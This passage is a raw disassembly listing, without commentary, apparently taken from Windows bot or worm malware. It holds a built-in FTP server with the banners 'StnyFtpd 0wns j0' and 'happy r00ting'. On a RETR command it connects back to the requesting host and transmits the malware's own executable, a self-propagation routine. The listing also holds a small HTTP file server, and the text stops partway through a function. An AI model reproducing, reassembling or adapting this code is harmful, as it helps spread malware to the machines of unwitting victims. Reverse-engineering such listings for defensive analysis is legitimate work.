arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_23C], esi
		mov	[ebp+var_43C], esi
		call	dword_4281F0	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_42821C	; socket
		mov	esi, dword_4281F4
		lea	ecx, [ebp+var_28]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4281F8	; ioctlsocket
		mov	ax, word ptr dword_4CE048
		and	[ebp+var_38], 0
		push	eax
		mov	[ebp+var_3C], 2
		call	dword_4CE308	; ntohs
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	dword_4281FC	; bind
		test	eax, eax
		jge	short loc_40F76D
		mov	eax, ebx
		jmp	loc_40FCA0
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6A7+BDj
		push	0Ah
		push	edi
		call	dword_428200	; listen
		mov	[ebp+var_23C], ebx
		mov	ebx, dword_428220
		mov	[ebp+var_238], edi
		mov	[ebp+var_4], edi


loc_40F78B:				; CODE XREF: sub_40F6A7+11Bj
					; sub_40F6A7+5F1j
		push	41h
		lea	esi, [ebp+var_23C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_43C]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_428224	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC9D
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_40F78B


loc_40F7C4:				; CODE XREF: sub_40F6A7+5EBj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BC00
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_426E00	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40FC8B
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F86D
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_428204	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC8B
		mov	edx, [ebp+var_23C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40F83F


loc_40F831:				; CODE XREF: sub_40F6A7+196j
		cmp	[ebp+ecx*4+var_238], eax
		jz	short loc_40F83F
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40F831


loc_40F83F:				; CODE XREF: sub_40F6A7+188j
					; sub_40F6A7+191j
		cmp	ecx, edx
		jnz	short loc_40F855
		cmp	edx, 40h
		jnb	short loc_40F855
		mov	[ebp+ecx*4+var_238], eax
		inc	[ebp+var_23C]


loc_40F855:				; CODE XREF: sub_40F6A7+19Aj
					; sub_40F6A7+19Fj
		cmp	eax, [ebp+var_4]
		jle	short loc_40F85D
		mov	[ebp+var_4], eax


loc_40F85D:				; CODE XREF: sub_40F6A7+1B1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40FC8B
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F6A7+158j
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_428214	; recv
		test	eax, eax
		jg	short loc_40F8CA
		mov	ecx, [ebp+var_23C]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_40F8BE


loc_40F88E:				; CODE XREF: sub_40F6A7+1F3j
		cmp	[ebp+eax*4+var_238], edi
		jz	short loc_40F8B3
		inc	eax
		cmp	eax, ecx
		jb	short loc_40F88E
		jmp	short loc_40F8BE
; ---------------------------------------------------------------------------


loc_40F89E:				; CODE XREF: sub_40F6A7+20Fj
		mov	ecx, [ebp+eax*4+var_234]
		mov	[ebp+eax*4+var_238], ecx
		mov	ecx, [ebp+var_23C]
		inc	eax


loc_40F8B3:				; CODE XREF: sub_40F6A7+1EEj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40F89E
		dec	[ebp+var_23C]


loc_40F8BE:				; CODE XREF: sub_40F6A7+1E5j
					; sub_40F6A7+1F5j
		push	edi
		call	dword_428218	; closesocket
		jmp	loc_40FC8B
; ---------------------------------------------------------------------------


loc_40F8CA:				; CODE XREF: sub_40F6A7+1D9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_41C973
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_41C6E0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F90E
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40FC76
; ---------------------------------------------------------------------------


loc_40F90E:				; CODE XREF: sub_40F6A7+258j
		lea	eax, [ebp+var_B0]
		push	offset aPass_0	; "PASS"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F932
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40FC76
; ---------------------------------------------------------------------------


loc_40F932:				; CODE XREF: sub_40F6A7+27Cj
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F956
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_40FC76
; ---------------------------------------------------------------------------


loc_40F956:				; CODE XREF: sub_40F6A7+2A0j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F97A
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40FC76
; ---------------------------------------------------------------------------


loc_40F97A:				; CODE XREF: sub_40F6A7+2C4j
		lea	eax, [ebp+var_B0]
		push	offset off_436E94
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F99E
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40FC76
; ---------------------------------------------------------------------------


loc_40F99E:				; CODE XREF: sub_40F6A7+2E8j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F9D9
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F9D9
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40FC76
; ---------------------------------------------------------------------------


loc_40F9D9:				; CODE XREF: sub_40F6A7+30Cj
					; sub_40F6A7+323j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FA14
		lea	eax, [ebp+var_338]
		push	offset aI_0	; "I"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FA14
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40FC76
; ---------------------------------------------------------------------------


loc_40FA14:				; CODE XREF: sub_40F6A7+347j
					; sub_40F6A7+35Ej
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FA62
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40FA52:				; CODE XREF: sub_40F6A7+3FAj
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_40FC79
; ---------------------------------------------------------------------------


loc_40FA62:				; CODE XREF: sub_40F6A7+382j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FAA3
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40FA52
; ---------------------------------------------------------------------------


loc_40FAA3:				; CODE XREF: sub_40F6A7+3D0j
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FB74
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41C973
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41BDE9
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41BDE9
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41BC00
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FC]
		push	[ebp+var_C]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41BEF6
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_41C435
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41BEF6
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40FC76
; ---------------------------------------------------------------------------


loc_40FB74:				; CODE XREF: sub_40F6A7+411j
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FC57
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_40FCA7
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40FC4D
		cmp	[ebp+var_444], esi
		jnz	short loc_40FBDC
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409743
		add	esp, 14h


loc_40FBDC:				; CODE XREF: sub_40F6A7+510j
		call	sub_40FD24
		cmp	eax, 1
		jnz	loc_40FC79
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset dword_436CD0
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40FC38
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_409743
		add	esp, 14h


loc_40FC38:				; CODE XREF: sub_40F6A7+56Cj
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_415F45
		inc	dword_4D0E04
		pop	ecx
		jmp	short loc_40FC79
; ---------------------------------------------------------------------------


loc_40FC4D:				; CODE XREF: sub_40F6A7+504j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40FC76
; ---------------------------------------------------------------------------


loc_40FC57:				; CODE XREF: sub_40F6A7+4E2j
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FC79
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40FC76:				; CODE XREF: sub_40F6A7+262j
					; sub_40F6A7+286j ...
		push	edi
		call	ebx	; send


loc_40FC79:				; CODE XREF: sub_40F6A7+3B6j
					; sub_40F6A7+53Dj ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch


loc_40FC8B:				; CODE XREF: sub_40F6A7+14Fj
					; sub_40F6A7+178j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40F7C4
		jmp	loc_40F78B
; ---------------------------------------------------------------------------


loc_40FC9D:				; CODE XREF: sub_40F6A7+10Fj
		xor	eax, eax
		inc	eax


loc_40FCA0:				; CODE XREF: sub_40F6A7+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F6A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FCA7	proc near		; CODE XREF: sub_40F6A7+4FAp

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4281F0	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_42821C	; socket
		push	[ebp+arg_0]
		mov	dword_4D103C, eax
		mov	[ebp+var_10], 2
		call	dword_428208	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_42820C	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4D103C
		call	dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FD1F
		push	dword_4D103C
		call	dword_428218	; closesocket
		call	dword_4281EC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FD1F:				; CODE XREF: sub_40FCA7+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40FCA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD24	proc near		; CODE XREF: sub_40F6A7:loc_40FBDCp

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_428078	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_42A068
		push	eax
		call	sub_41BB32
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FDBB
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FD9F
		push	edi
		mov	edi, 400h


loc_40FD67:				; CODE XREF: sub_40FD24+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41B78A
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4D103C
		call	dword_428220	; send
		push	1
		call	dword_428080	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FD67
		pop	edi


loc_40FD9F:				; CODE XREF: sub_40FD24+3Bj
		push	esi
		call	sub_41B6CB
		pop	ecx
		push	dword_4D103C
		call	dword_428218	; closesocket
		call	dword_4281EC	; WSACleanup
		xor	eax, eax
		inc	eax


loc_40FDBB:				; CODE XREF: sub_40FD24+35j
		pop	esi
		leave
		retn
sub_40FD24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDBE	proc near		; DATA XREF: sub_401AA1+21D6o
					; sub_40BC0C+46Co

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C190
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	ebx
		mov	[eax+3ACh], esi
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CE308	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CE388	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_410184
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_441254[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CE334	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_410184
		push	7FFFFFFFh
		push	edi
		call	dword_4CE330	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_410184
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CE3A4	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_410184
		mov	ebx, esi
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], edi


loc_40FE95:				; CODE XREF: sub_40FDBE+3BCj
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_128]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CE2F0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_41017F
		xor	edi, edi
		mov	[ebp+arg_0], edi


loc_40FECB:				; CODE XREF: sub_40FDBE+3B6j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	edi
		call	dword_4CE1F4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_41016A
		cmp	edi, [ebp+var_8]
		jnz	short loc_40FF4C
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_4CE39C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_41016A
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FF1E


loc_40FF10:				; CODE XREF: sub_40FDBE+15Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_40FF1E
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_40FF10


loc_40FF1E:				; CODE XREF: sub_40FDBE+150j
					; sub_40FDBE+159j
		cmp	ecx, ebx
		jnz	short loc_40FF3B
		cmp	ebx, 40h
		jnb	short loc_40FF3B
		mov	[ebp+ecx*4+var_124], eax
		mov	ebx, [ebp+var_128]
		inc	ebx
		mov	[ebp+var_128], ebx


loc_40FF3B:				; CODE XREF: sub_40FDBE+162j
					; sub_40FDBE+167j
		cmp	eax, [ebp+var_4]
		jbe	loc_41016A
		mov	[ebp+var_4], eax
		jmp	loc_41016A
; ---------------------------------------------------------------------------


loc_40FF4C:				; CODE XREF: sub_40FDBE+126j
		mov	esi, 1000h
		lea	eax, [ebp+var_28F0]
		push	esi
		push	0
		push	eax
		call	sub_41BC00
		push	esi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	esi
		push	eax
		push	edi
		call	dword_4CE320	; recv
		test	eax, eax
		jg	short loc_40FFD3
		push	edi
		call	dword_4CE3A0	; closesocket
		xor	eax, eax
		test	ebx, ebx
		jbe	loc_41016A


loc_40FF98:				; CODE XREF: sub_40FDBE+1E6j
		cmp	[ebp+eax*4+var_124], edi
		jz	short loc_40FFC0
		inc	eax
		cmp	eax, ebx
		jb	short loc_40FF98
		jmp	loc_41016A
; ---------------------------------------------------------------------------


loc_40FFAB:				; CODE XREF: sub_40FDBE+207j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_40FFC0:				; CODE XREF: sub_40FDBE+1E1j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40FFAB
		dec	ebx
		mov	[ebp+var_128], ebx
		jmp	loc_41016A
; ---------------------------------------------------------------------------


loc_40FFD3:				; CODE XREF: sub_40FDBE+1C7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BC00
		lea	eax, [ebp+var_28F0]
		xor	edi, edi
		push	eax
		call	sub_41B650
		add	esp, 10h
		test	eax, eax
		jbe	loc_41016A


loc_410000:				; CODE XREF: sub_40FDBE+2F9j
		mov	al, [ebp+edi+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_4100A6
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410076
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B650
		cmp	eax, 5
		pop	ecx
		jbe	short loc_410076
		mov	eax, offset asc_42F5E8 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41BF70
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41BF70
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C764
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C520
		add	esp, 10h
		jmp	short loc_41008D
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FDBE+26Ej
					; sub_40FDBE+280j
		lea	eax, [ebp+var_18F0]
		push	offset asc_436F68 ; "\r\n"
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4100C2


loc_41008D:				; CODE XREF: sub_40FDBE+2B6j
		push	1000h
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_4100A6:				; CODE XREF: sub_40FDBE+252j
		lea	eax, [ebp+var_28F0]
		inc	edi
		push	eax
		inc	esi
		call	sub_41B650
		cmp	edi, eax
		pop	ecx
		jb	loc_410000
		jmp	loc_41016A
; ---------------------------------------------------------------------------


loc_4100C2:				; CODE XREF: sub_40FDBE+2CDj
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_4100FE


loc_4100C8:				; CODE XREF: sub_40FDBE+319j
		mov	ecx, [ebp+eax*4+var_124]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_4100F0
		inc	eax
		cmp	eax, ebx
		jb	short loc_4100C8
		jmp	short loc_4100FE
; ---------------------------------------------------------------------------


loc_4100DB:				; CODE XREF: sub_40FDBE+337j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_4100F0:				; CODE XREF: sub_40FDBE+314j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_4100DB
		dec	ebx
		mov	[ebp+var_128], ebx


loc_4100FE:				; CODE XREF: sub_40FDBE+308j
					; sub_40FDBE+31Bj
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B650
		mov	esi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B650
		add	esi, eax
		pop	ecx
		cmp	esi, 104h
		pop	ecx
		jnb	short loc_410161
		and	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_4CE3A4	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_0]
		call	sub_410370
		add	esp, 14h
		jmp	short loc_41016A
; ---------------------------------------------------------------------------


loc_410161:				; CODE XREF: sub_40FDBE+364j
		push	[ebp+arg_0]
		call	dword_4CE3A0	; closesocket


loc_41016A:				; CODE XREF: sub_40FDBE+11Dj
					; sub_40FDBE+146j ...
		mov	edi, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jbe	loc_40FECB
		jmp	loc_40FE95
; ---------------------------------------------------------------------------


loc_41017F:				; CODE XREF: sub_40FDBE+102j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx


loc_410184:				; CODE XREF: sub_40FDBE+6Aj
					; sub_40FDBE+92j ...
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_436F2C
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_4101CA
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409743
		add	esp, 14h


loc_4101CA:				; CODE XREF: sub_40FDBE+3E7j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415F45
		pop	ecx
		push	edi
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_254]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40FDBE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101F4	proc near		; DATA XREF: sub_410370+245o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C190
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41BEF6
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		lea	eax, [ebp+var_9C]
		jz	short loc_41025F
		push	offset aTextHtml ; "text/html"
		jmp	short loc_410264
; ---------------------------------------------------------------------------


loc_41025F:				; CODE XREF: sub_4101F4+62j
		push	offset aApplicationOct ; "application/octet-stream"


loc_410264:				; CODE XREF: sub_4101F4+69j
		push	eax
		call	sub_41BEF6
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
